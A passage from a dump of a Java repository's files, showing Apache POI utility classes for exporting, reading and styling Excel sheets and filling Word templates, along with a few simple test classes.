null);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, Date value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, Date value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCell(index, value, cellStyles.getDateStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, null);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, int value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, int value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCell(index, value, cellStyles.getStringStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, null);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, double value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, double value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCell(index, value, cellStyles.getNumberStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, null);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, float value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, float value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCell(index, value, cellStyles.getNumberStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, null);\n\t\t}\n\t}\n\t\n\tpublic void setCellHeader(int index, String value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCellHeader(int index, String value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCellHeader(index, value, cellStyles.getHeaderStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, null);\n\t\t}\n\t}\n\t\n\tpublic void setCellFormula(int index, String formula, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellFormula(formula);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCellFormula(int index, String formula) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCellFormula(index, formula, cellStyles.getFormulaStyle());\n\t\t} else {\n\t\t\tsetCell(index, formula, null);\n\t\t}\n\t}\n\t\n\t/**\n\t * 增加一行\n\t * \n\t * @param index\n\t *            行号\n\t */\n\tpublic void createRow() {\n\t\tthis.row = this.sheet.createRow(rowIndex++);\n\t}\n\n\t/**\n\t * 返回 workbook 的值\n\t * \n\t * @return workbook\n\t */\n\tpublic Workbook getWorkbook() {\n\t\treturn workbook;\n\t}\n\n\t/**\n\t * 返回 sheet 的值\n\t * \n\t * @return sheet\n\t */\n\tpublic Sheet getSheet() {\n\t\treturn sheet;\n\t}\n\n\t/**\n\t * 返回 row 的值\n\t * \n\t * @return row\n\t */\n\tpublic Row getRow() {\n\t\treturn row;\n\t}\n\n\t/**  \n\t * 返回 rowIndex 的值   \n\t * @return rowIndex  \n\t */\n\tpublic int getRowIndex() {\n\t\treturn rowIndex;\n\t}\n\n\t/**\n\t * @return the cellStyles\n\t */\n\tpublic CellStyles getCellStyles() {\n\t\treturn cellStyles;\n\t}\n\n\t/**\n\t * @param cellStyles the cellStyles to set\n\t */\n\tpublic void setCellStyles(CellStyles cellStyles) {\n\t\tthis.cellStyles = cellStyles;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/learn/ExcelReadUtils.java",
    "content": "package com.jun.plugin.poi.learn;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.ArrayList;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.openxml4j.exceptions.InvalidOperationException;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.DateUtil;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\n\npublic class ExcelReadUtils {\n\n\tpublic static ArrayList<ArrayList<Object>> readRows(String excelFile,\n\t\t\tint startRowIndex, int rowCount) throws IOException {\n\t\treturn readRows(new FileInputStream(excelFile), startRowIndex, rowCount);\n\t}\n\n\tpublic static ArrayList<ArrayList<Object>> readRows(InputStream is,\n\t\t\tint startRowIndex, int rowCount) throws IOException {\n\n\t\tWorkbook wb = null;\n\n\t\tByteArrayOutputStream byteOS = new ByteArrayOutputStream();\n\t\tbyte[] buffer = new byte[512];\n\t\tint count = -1;\n\t\twhile ((count = is.read(buffer)) != -1)\n\t\t\tbyteOS.write(buffer, 0, count);\n\t\tbyteOS.close();\n\t\tbyte[] allBytes = byteOS.toByteArray();\n\n\t\ttry {\n\t\t\twb = new XSSFWorkbook(new ByteArrayInputStream(allBytes));\n\t\t} catch (InvalidOperationException ex) {\n\t\t\twb = new HSSFWorkbook(new ByteArrayInputStream(allBytes));\n\t\t}\n\n\t\tSheet sheet = wb.getSheetAt(0);\n\n\t\treturn readRows(sheet, startRowIndex, rowCount);\n\t}\n\n\tpublic static ArrayList<ArrayList<Object>> readRows(Sheet sheet,\n\t\t\tint startRowIndex, int rowCount) {\n\t\tArrayList<ArrayList<Object>> rowList = new ArrayList<ArrayList<Object>>();\n\n\t\tint i = 0;\n\t\tfor (Row row : sheet) {\n\t\t\ti++;\n\t\t\tif (i > startRowIndex && i <= (startRowIndex + rowCount)) {\n\n\t\t\t\tArrayList<Object> cellList = new ArrayList<Object>();\n\t\t\t\tfor (Cell cell : row) {\n\t\t\t\t\tcellList.add(readCell(cell));\n\t\t\t\t}\n\n\t\t\t\trowList.add(cellList);\n\t\t\t}\n\t\t}\n\t\treturn rowList;\n\t}\n\n\t/**\n\t * 从Excel读Cell\n\t * \n\t * @param cell\n\t * @return\n\t */\n\tprivate static Object readCell(Cell cell) {\n\t\tif (cell == null) {\n\t\t\treturn null;\n\t\t}\n\n\t\tswitch (cell.getCellType()) {\n\t\tcase Cell.CELL_TYPE_STRING:\n\t\t\tString str = cell.getRichStringCellValue().getString();\n\t\t\treturn str == null ? \"\" : str.trim();\n\n\t\tcase Cell.CELL_TYPE_NUMERIC:\n\t\t\tif (DateUtil.isCellDateFormatted(cell)) {\n\t\t\t\treturn cell.getDateCellValue();\n\t\t\t} else {\n\t\t\t\treturn cell.getNumericCellValue();\n\t\t\t}\n\n\t\tcase Cell.CELL_TYPE_BOOLEAN:\n\t\t\treturn cell.getBooleanCellValue();\n\n\t\tcase Cell.CELL_TYPE_FORMULA:\n\t\t\tif (DateUtil.isCellDateFormatted(cell)) {\n\t\t\t\treturn cell.getDateCellValue();\n\t\t\t} else {\n\t\t\t\treturn cell.getCellFormula();\n\t\t\t}\n\n\t\tcase Cell.CELL_TYPE_BLANK:\n\t\t\treturn \"\";\n\n\t\tdefault:\n\t\t\tSystem.err.println(\"Data error for cell of excel: \" + cell.getCellType());\n\t\t\treturn \"\";\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/learn/test/ExcelExportUitlsTest.java",
    "content": "package com.jun.plugin.poi.learn.test;\n\n//import org.junit.Test;\n\nimport com.jun.plugin.poi.learn.ExcelExportHelper;\nimport com.jun.plugin.poi.learn.ExcelExportHelper.ExcelType;\n\n\npublic class ExcelExportUitlsTest {\n\n//\t@Test\n\tpublic void test2003() {\n\t\tExcelExportHelper excelExportHelper = new ExcelExportHelper();\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCellHeader(0, \"仅仅是一个测试\");\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCell(0, \"嘿嘿测试成功\");\n\t\t\n\t\texcelExportHelper.export(\"d:/test2003.xlsx\");\n\t}\n\t\n//\t@Test\n\tpublic void test2007() {\n\t\tExcelExportHelper excelExportHelper = new ExcelExportHelper(ExcelType.XLSX);\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCellHeader(0, \"仅仅是一个测试\");\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCell(0, \"嘿嘿测试成功2007\");\n\t\t\n\t\texcelExportHelper.export(\"d:/test2007_2.xlsx\");\n\t}\n\t\n//\t@Test\n\tpublic void test2007_2() {\n\t\tExcelExportHelper excelExportHelper = new ExcelExportHelper(\"d:/test2007_2.xlsx\");\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCellHeader(0, \"仅仅是一个测试\");\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCell(0, \"嘿嘿测试成功2007_2\");\n\t\t\n\t\texcelExportHelper.export(\"d:/test2007_2_1.xlsx\");\n\t}\n\t\n//\t@Test\n\tpublic void testCellStyles() {\n\t\tExcelExportHelper excelExportHelper = new ExcelExportHelper();\n\t\t\n\t\texcelExportHelper.setCellStyles(new RedCellStyles(excelExportHelper.getWorkbook()));\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCellHeader(0, \"仅仅是一个测试\");\n\t\t\n\t\texcelExportHelper.createRow();\n\t\texcelExportHelper.setCell(0, \"testCellStyles\");\n\t\t\n\t\texcelExportHelper.export(\"d:/testCellStyles.xlsx\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/learn/test/ExcelReadUtilsTest.java",
    "content": "package com.jun.plugin.poi.learn.test;\n\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.util.ArrayList;\n\nimport com.jun.plugin.poi.learn.ExcelReadUtils;\n\npublic class ExcelReadUtilsTest {\n\n\tpublic static void main(String[] args) throws FileNotFoundException,\n\t\t\tIOException {\n\t\tArrayList<ArrayList<Object>> title = ExcelReadUtils.readRows(\"d:/test2007_2.xlsx\", 0, 1);\n\t\tfor (ArrayList<Object> row : title) {\n\t\t\tfor (Object cell : row) {\n\t\t\t\tSystem.out.println(cell);\n\t\t\t}\n\t\t}\n\n\t\tSystem.out.println(\"======================\");\n\t\tArrayList<ArrayList<Object>> rows = ExcelReadUtils.readRows(\"d:/test2007_2.xlsx\", 1, 10);\n\t\tint i = 0;\n\t\tfor (ArrayList<Object> row : rows) {\n\t\t\tSystem.out.println(i++);\n\t\t\tfor (Object cell : row) {\n\t\t\t\tSystem.out.println(cell);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/learn/test/RedCellStyles.java",
    "content": "package com.jun.plugin.poi.learn.test;\n\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Font;\nimport org.apache.poi.ss.usermodel.IndexedColors;\nimport org.apache.poi.ss.usermodel.Workbook;\n\nimport com.jun.plugin.poi.learn.DefaultCellStyles;\n\npublic class RedCellStyles extends DefaultCellStyles {\n\n\t/**\n\t * @param workbook\n\t */\n\tpublic RedCellStyles(Workbook workbook) {\n\t\tsuper(workbook);\n\t}\n\n\t@Override\n\tprotected void setBorder(CellStyle style) {\n\t\t//设置边框\n\t\tFont font = wb.createFont();\n\t\tfont.setColor(IndexedColors.RED.index);\n\t\t\n\t\tstyle.setFont(font);\n\t\tstyle.setBorderRight(CellStyle.BORDER_THIN);\n\t\tstyle.setRightBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderLeft(CellStyle.BORDER_THIN);\n\t\tstyle.setLeftBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderTop(CellStyle.BORDER_THIN);\n\t\tstyle.setTopBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderBottom(CellStyle.BORDER_THIN);\n\t\tstyle.setBottomBorderColor(IndexedColors.BLACK.getIndex());\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/learn/word/ReadAndWriteDoc.java",
    "content": "package com.jun.plugin.poi.learn.word;\nimport java.io.ByteArrayOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Iterator;\nimport java.util.Map;\n\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.apache.poi.hwpf.HWPFDocument;\nimport org.apache.poi.hwpf.model.FieldsDocumentPart;\nimport org.apache.poi.hwpf.usermodel.Field;\nimport org.apache.poi.hwpf.usermodel.Fields;\nimport org.apache.poi.hwpf.usermodel.Range;\n\n/**\n * 实现java用poi实现对word读取和修改操作\n */\npublic class ReadAndWriteDoc {\n    \n    /**\n     * 实现对word读取和修改操作\n     * @param filePath    word模板路径和名称\n     * @param map        待填充的数据，从数据库读取\n     */\n    public static void readwriteWord(String filePath, Map<String,String> map){\n        //读取word模板\n//        String fileDir = new File(base.getFile(),\"/doc/\").getCanonicalPath();\n        FileInputStream in = null;\n        try {\n            in = new FileInputStream(new File(filePath));\n        } catch (FileNotFoundException e1) {\n            e1.printStackTrace();\n        }\n        HWPFDocument hdt = null;\n        try {\n            hdt = new HWPFDocument(in);\n        } catch (IOException e1) {\n            e1.printStackTrace();\n        }\n        Fields fields = hdt.getFields();\n        Iterator<Field> it = fields.getFields(FieldsDocumentPart.MAIN).iterator();\n        while(it.hasNext()){\n            System.out.println(it.next().getType());\n        }\n    \n        //读取word文本内容\n        Range range = hdt.getRange();\n        System.out.println(range.text());\n        //替换文本内容\n        for (Map.Entry<String,String> entry: map.entrySet()) {\n            range.replaceText(\"$\" + entry.getKey() + \"$\",entry.getValue());\n        }\n        ByteArrayOutputStream ostream = new ByteArrayOutputStream();\n        String fileName = \"\"+System.currentTimeMillis();\n        fileName += \".doc\";\n        FileOutputStream out = null;\n        try {\n            out = new FileOutputStream(\"E:\\\\test\\\\\"+fileName,true);\n        } catch (FileNotFoundException e) {\n            e.printStackTrace();\n        }\n        try {\n            hdt.write(ostream);\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        //输出字节流\n        try {\n            out.write(ostream.toByteArray());\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        try {\n            out.close();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        try {\n            ostream.close();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n    \n\n//======================输出文件流下载方式：==========================　　\n\n\n    /**\n     * 实现对word读取和修改操作\n     * @param response    响应,设置生成的文件类型,文件头编码方式和文件名,以及输出\n     * @param filePath    word模板路径和名称\n     * @param map        待填充的数据，从数据库读取\n     */\n    public static void readwriteWord(HttpServletResponse response, String filePath, Map<String, String> map){\n        //读取word模板文件\n//        String fileDir = new File(base.getFile(),\"http://www.cnblogs.com/http://www.cnblogs.com/../doc/\").getCanonicalPath();\n//        FileInputStream in = new FileInputStream(new File(fileDir+\"/laokboke.doc\"));\n        FileInputStream in;\n        HWPFDocument hdt = null;\n        try {\n            in = new FileInputStream(new File(filePath));\n            hdt = new HWPFDocument(in);\n        } catch (Exception e1) {\n            e1.printStackTrace();\n        }\n        \n        Fields fields = hdt.getFields();\n        Iterator<Field> it = fields.getFields(FieldsDocumentPart.MAIN).iterator();\n        while(it.hasNext()){\n            System.out.println(it.next().getType());\n        }\n\n        //替换读取到的word模板内容的指定字段\n        Range range = hdt.getRange();\n\n        for (Map.Entry<String,String> entry:map.entrySet()) {\n            range.replaceText(\"$\" + entry.getKey() + \"$\",entry.getValue());\n        }\n\n        //输出word内容文件流，提供下载\n        response.reset();\n        response.setContentType(\"application/x-msdownload\");\n        String fileName = \"\"+System.currentTimeMillis()+\".doc\";\n        response.addHeader(\"Content-Disposition\", \"attachment; filename=\"+fileName);\n        ByteArrayOutputStream ostream = new ByteArrayOutputStream();\n        OutputStream servletOS = null;\n        try {\n            servletOS = response.getOutputStream();\n            hdt.write(ostream);\n            servletOS.write(ostream.toByteArray());\n            servletOS.flush();\n            servletOS.close();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        \n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/utils/PoiUtil.java",
    "content": "package com.jun.plugin.poi.utils;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFCellStyle;\nimport org.apache.poi.hssf.usermodel.HSSFDataFormat;\nimport org.apache.poi.hssf.usermodel.HSSFFont;\nimport org.apache.poi.hssf.usermodel.HSSFHyperlink;\nimport org.apache.poi.hssf.usermodel.HSSFRow;\nimport org.apache.poi.hssf.usermodel.HSSFSheet;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.hssf.util.HSSFColor;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.DataFormat;\nimport org.apache.poi.ss.usermodel.DateUtil;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.ss.util.CellRangeAddress;\n//import org.apache.poi.xssf.usermodel.XSSFWorkbook;\n\n/**\n * poi处理工具类\n * @author Wujun\n *\n */\n@SuppressWarnings({ \"unchecked\", \"resource\", \"rawtypes\"})\npublic class PoiUtil {\n\t\n\tprivate static Map<String, Short> styleMap = new HashMap<String, Short>();\n\t\n\t/**\n\t * 读取excel文档，返回二维的list\n\t * @param is excel文档输入流\n\t * @param fileName 文件名\n\t * @return excel中的表格数据\n\t */\n\tpublic static List readExcel(InputStream is, String fileName){\n\t\tWorkbook workbook = null;\n\t\tList res = new ArrayList();\n\t\ttry{\n\t\t\tif(fileName.indexOf(\".xlsx\") >= 0){\n//\t\t\t\tworkbook = new XSSFWorkbook(is);\n\t\t\t}else{\n\t\t\t\tworkbook = new HSSFWorkbook(is);\n\t\t\t}\n\t\t\tSheet sheet = workbook.getSheetAt(0);\n\t\t\tint rowCount = sheet.getPhysicalNumberOfRows();\n\t\t\tfor(int i = 0;i < rowCount; i++){\n\t\t\t\tRow row = sheet.getRow(i);\n\t\t\t\tList rowValue = new ArrayList();\n\t\t\t\tif(row != null){\n\t\t\t\t\tint columnCount = row.getPhysicalNumberOfCells();\n\t\t\t\t\tfor(int j = 0; j < columnCount; j++){\n\t\t\t\t\t\tCell cell = row.getCell(j);\n\t\t\t\t\t\tObject value = getValue(cell, null);\n\t\t\t\t\t\trowValue.add(value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tres.add(rowValue);\n\t\t\t}\n\t\t}catch (Exception e){\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn res;\n\t}\n\t\n\t/**\n\t * 读取excel文档，并通过反射直接赋值到实体类\n\t * @param is excel文档输入流\n\t * @param fileName 文件明，用以判断是否为2007版EXCEL文档\n\t * @param clazz 输出List中的实体类\n\t * @return 实体列表\n\t */\n\t\n\tpublic static <T> List<T> readExcel(InputStream is, String fileName, Class<T> clazz){\n\t\tList<T> result = new ArrayList<T>();\n\t\tMap<Integer, Method> titleIndex = new LinkedHashMap<Integer, Method>();\n\t\ttry{\n\t\t\t//获取标题与实体属性明的映射关系\n\t\t\tMap<String, String> titleMap = (Map<String, String>) clazz.getMethod(\"getTitleMap\").invoke(clazz);\n\t\t\tWorkbook workbook = null;\n\t\t\t//判断是否为2007版excel，并创建相应的workbook\n\t\t\tif(fileName.indexOf(\".xlsx\") >= 0){\n//\t\t\t\tworkbook = new XSSFWorkbook(is);\n\t\t\t}else{\n\t\t\t\tworkbook = new HSSFWorkbook(is);\n\t\t\t}\n\t\t\t\n\t\t\t//通过excel中的标题列获取excel中列与反射的实体类属性set方法的映射\n\t\t\tSheet sheet = workbook.getSheetAt(0);\n\t\t\tint rowCount = sheet.getPhysicalNumberOfRows();\n\t\t\tRow titles = sheet.getRow(0);\n\t\t\tfor(int i = 0; i < titles.getPhysicalNumberOfCells(); i++){\n\t\t\t\tCell cell = titles.getCell(i);\n\t\t\t\tString title = cell.getStringCellValue().trim();\n\t\t\t\tString titleCode = titleMap.get(title);\n\t\t\t\tif(titleCode != null){\n\t\t\t\t\tField field = clazz.getDeclaredField(titleCode);\n\t\t\t\t\tMethod setMethod = clazz.getMethod(\"set\" + firstCharToUpperCase(titleCode), field.getType());\n\t\t\t\t\ttitleIndex.put(i, setMethod);\n\t\t\t\t}\n\t\t\t}\n\t\t\t//获取数据列，并创建实体类，对实体类属性进行赋值\n\t\t\tfor(int i = 1; i < rowCount; i++){\n\t\t\t\tT o = clazz.newInstance();\n\t\t\t\tfor(Integer index : titleIndex.keySet()){\n\t\t\t\t\tMethod m = titleIndex.get(index);\n\t\t\t\t\tClass pType = m.getParameterTypes()[0];\n\t\t\t\t\tObject value = getValue(sheet, i ,index, pType);\n\t\t\t\t\ttitleIndex.get(index).invoke(o, value);\n\t\t\t\t}\n\t\t\t\tresult.add(o);\n\t\t\t}\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn result;\n\t}\n\t\n\t/**\n\t * 到出数据到excel\n\t * @param data 待导出的数据\n\t * @param os 导出的excel输出流\n\t * @param titleMap 导出的数据的标题与属性名映射\n\t */\n\tpublic static void  writeExcel(List data, OutputStream os, Map<String, String> titleMap){\n\t\tstyleMap.clear();\n\t\ttry {\n\t\t\t// 创建Excel的工作书册 Workbook,对应到一个excel文档  \n\t\t    Workbook wb = new HSSFWorkbook();\n\t\t    Sheet sheet = null;\n\t\t    Set<String> titles = titleMap.keySet();\n\t\t    List<Method> methods = new ArrayList<Method>();\n\t\t    Object o = data.get(0);\n\t\t    Class<?> clazz = o.getClass();\n\t\t    for(String title : titles){\n\t\t\t\tMethod getMethod = clazz.getMethod(\"get\" + firstCharToUpperCase(titleMap.get(title)));\n\t\t\t\tmethods.add(getMethod);\n\t\t\t}\n\t\t    for(int i = 0,j = 0,k = 0;i < data.size();i++, j++, k = 0){\n\t\t    \tif(i == 0 || i%65000 == 0){\n\t\t    \t\tsheet = wb.createSheet(\"sheet\" + ((int)i/65000 + 1));\n\t\t    \t\tfor(String title : titles){\n\t\t    \t\t\tsetValue(sheet, 0, k++, title);\n\t\t    \t\t}\n\t\t    \t\tk = 0;\n\t\t    \t\tj = 1;\n\t\t    \t}\n\t\t    \to = data.get(i);\n\t\t\t\tfor(Method method : methods){\n\t\t\t\t\tObject value = method.invoke(o);\n\t\t\t\t\tsetValue(sheet, j, k++, value);\n\t\t\t\t}\n\t\t    \t\n\t\t    }\n\t\t\twb.write(os);\n\t\t    os.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} \n\t}\n\t\n\t/**\n\t * 通过模板导出excel\n\t * @param data 待导出的数据\n\t * @param temp 模板文件\n\t * @param os 导出的excel输出流\n\t * @param startRow 数据开始写入的行\n\t * @param startColumn 数据开始写入的列\n\t */\n\tpublic static void writeExcel(List data, File temp, OutputStream os, int startRow, int startColumn){\n\t\tstyleMap.clear();\n\t\ttry{\n\t\t\tWorkbook wb = null;\n\t\t\tString filename = temp.getName();\n\t\t\tboolean is2007 = filename.indexOf(\".xlsx\") >= 0;\n\t\t\tif(is2007){\n//\t\t\t\twb = new XSSFWorkbook(new FileInputStream(temp));\n\t\t\t}else{\n\t\t\t\twb = new HSSFWorkbook(new FileInputStream(temp));\n\t\t\t}\n\t\t    Sheet sheet = wb.getSheetAt(0);\n\t\t    Row titleRow = sheet.getRow(0);\n\t\t    Row tempRow = sheet.getRow(startRow);\n\t\t\tMap<String, CellStyle> formats = new LinkedHashMap<String, CellStyle>();\n\t\t\tint c = startColumn;\n\t\t\tfor(Cell tempCell : tempRow){\n\t\t\t\tString attr = tempCell.getStringCellValue();\n\t\t\t\tCellStyle format = tempCell.getCellStyle();\n\t\t\t\tformats.put(attr, format);\n\t\t\t}\n\t\t    for(int i = 0,j = startRow;i < data.size();i++, j++ ){\n\t\t    \tif(i != 0 && i%65000 == 0){\n\t\t    \t\tsheet = wb.createSheet(\"sheet\" + ((int)i/65000 + 1));\n\t\t    \t\tfor(int k = 0; k < titleRow.getPhysicalNumberOfCells(); k ++){\n\t\t    \t\t\tsetValue(sheet, 0, k, titleRow.getCell(k).getStringCellValue(), titleRow.getCell(k).getCellStyle(), -1);\n\t\t    \t\t}\n\t\t    \t\tj = startRow;\n\t\t    \t}\n\t\t    \tObject o = data.get(i);\n\t    \t\tClass<?> clazz = o.getClass();\n\t\t\t\tfor(String key : formats.keySet()){\n\t\t\t\t\tMethod getMethod = clazz.getMethod(\"get\" + firstCharToUpperCase(key));\n\t\t\t\t\tObject value = getMethod.invoke(o);\n\t\t\t\t\tsetValue(sheet, j, c++, value, formats.get(key), -1);\n\t\t\t\t}\n\t\t\t\tc = startColumn;\n\t\t    }\n\t\t\twb.write(os);\n\t\t    os.close();\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t}\n\t\n\t\n\t/**\n\t * 获取指定单元格指定类型的值\n\t * @param cell 单元格对象\n\t * @param type 需要的返回值类型\n\t * @return 单元格值\n\t */\n\tpublic static Object getValue(Cell cell, Class<?> type){\n\t\tObject value = getValue(cell);\n\t\tif(type == null) return value;\n\t\tif(type.equals(String.class)){\n\t\t\treturn String.valueOf(value);\n\t\t}else if(type.equals(Date.class)){\n\t\t\tif(value instanceof Date){\n\t\t\t\treturn value;\n\t\t\t}else{\n\t\t\t\tSimpleDateFormat sdf = new SimpleDateFormat(\"yyyy年MM月dd日\");\n\t\t\t\ttry {\n\t\t\t\t\treturn sdf.parse((String)value);\n\t\t\t\t} catch (ParseException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}else if(type.equals(Byte.class)){\n\t\t\tif(value instanceof String){\n\t\t\t\treturn Byte.parseByte((String)value);\n\t\t\t}else{\n\t\t\t\treturn ((Double)value).byteValue();\n\t\t\t}\n\t\t}else if(type.equals(Integer.class)){\n\t\t\tif(value instanceof String){\n\t\t\t\treturn Integer.parseInt((String)value);\n\t\t\t}else{\n\t\t\t\treturn ((Double)value).intValue();\n\t\t\t}\n\t\t}else if(type.equals(Double.class)){\n\t\t\tif(value instanceof String){\n\t\t\t\treturn Double.parseDouble((String)value);\n\t\t\t}else{\n\t\t\t\treturn value;\n\t\t\t}\n\t\t}\n\t\treturn value;\n\t}\n\t\n\t/**\n\t * 获取单元格的值\n\t * @param cell 单元格对象\n\t * @return 单元格值\n\t */\n\tpublic static Object getValue(Cell cell){\n\t\t\n\t\tswitch (cell.getCellType()) {\n\t\tcase Cell.CELL_TYPE_BLANK:\n\t\t\treturn null;\n\t\tcase Cell.CELL_TYPE_BOOLEAN:\n\t\t\treturn cell.getBooleanCellValue();\n\t\tcase Cell.CELL_TYPE_ERROR:\n\t\t\treturn cell.getErrorCellValue();\n\t\tcase Cell.CELL_TYPE_FORMULA:\n\t\t\treturn cell.getCellFormula();\n\t\tcase Cell.CELL_TYPE_NUMERIC:\n\t\t\tif(DateUtil.isCellDateFormatted(cell)){\n\t\t\t\treturn cell.getDateCellValue();\n\t\t\t}else{\n\t\t\t\treturn cell.getNumericCellValue();\n\t\t\t}\n\t\tcase Cell.CELL_TYPE_STRING:\n\t\t\treturn cell.getStringCellValue();\n\t\tdefault:\n\t\t\treturn cell.getStringCellValue();\n\t\t}\n\t}\n\t\n\tpublic static void removeCell(Sheet sheet, int r, int c){\n\t\tRow row = getRow(sheet, r);\n\t\tCell cell = getCell(row, c);\n\t\trow.removeCell(cell);\n\t}\n\t\n\t/**\n\t * 设置单元格的值\n\t * @param sheet 工作表\n\t * @param r 行\n\t * @param c 列\n\t * @param value 值\n\t * @param style 单元格样式\n\t */\n\tpublic static void setValue(Sheet sheet, int r, int c, Object value, CellStyle style, int cellType, float rowHeight){\n\t\tCell cell = getCell(getRow(sheet, r), c);\n\t\tif(rowHeight != 0){\n\t\t\tcell.getRow().setHeightInPoints(rowHeight);\n\t\t}\n\t\tif(style != null){\n\t\t\tcell.setCellStyle(style);\n\t\t}\n\t\tif(value == null){\n\t\t\treturn;\n\t\t}else if(value instanceof Number){\n\t\t\tcell.setCellValue(((Number)value).doubleValue());\n\t\t\tif(style == null){\n\t\t\t\tcell.setCellStyle(getFormat(sheet.getWorkbook(), \"#,##0.00\"));\n\t\t\t}\n\t\t}else if(value instanceof 